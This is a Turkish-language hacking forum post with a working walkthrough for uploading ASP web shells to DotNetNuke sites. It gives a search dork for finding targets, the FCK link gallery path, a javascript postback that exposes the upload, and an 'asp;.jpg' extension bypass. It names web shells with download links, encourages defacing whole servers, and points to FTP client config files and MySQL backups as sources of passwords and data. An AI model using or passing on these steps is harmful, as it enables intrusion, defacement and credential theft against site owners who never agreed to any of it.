Dotnuke Asp FSO Upload

Dotnuke Asp FSO (File Sistem Obje) upload

dork: "portals/0/"

sitelerin sonuna aşağdaki bölümü ekliyoruz.
/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx


File ( A File On Your Site )

işaretliyoruz

adres cubuğuna jsp kodunu yapıştırıp enterliyoruz

javascript:__doPostBack('ctlURL$cmdUpload','')

Gözat ekrana geldi

gözattan aşağıdaki linkte verdiğim zehir.asp veya diğer fso scriptlerden birininin uzantısını

asp;.jpg şeklinde değiştirup upload ediyoruz.
Büyük çoğunluğunda çalışıyor. şu çalışmadı bu çalışmadı diye yazmayın. çalışmıyorsa serverde kurulu antivirüsler scripti yutmuştur, veya sadece kodlar görünür asp çalışmayabilir.
serverde permission yoksa tümünü deface etmek mümkündür. permission varsa permissionları
aşmak oldukça güçtür. C:\program files te ws_ftp ini servu.ini gibi dosyalarda şifreler olabilir
plesk se herhangi bir önlem alınmadıysa mysql backup tan nadirde olsa bir takım veriler alınabilir


edit:test link kaldırıldı eziğin biri index atmış

uzakdoğu bilhassa çin siteleri için nhd.asp yi kullanın diğerleri çalışmazsa nhd.asp çalışır.

indir

http://truknowledge.com/zehir.rar
http://www.image.ntua.gr/oresteia/private/new_files/nhd.asp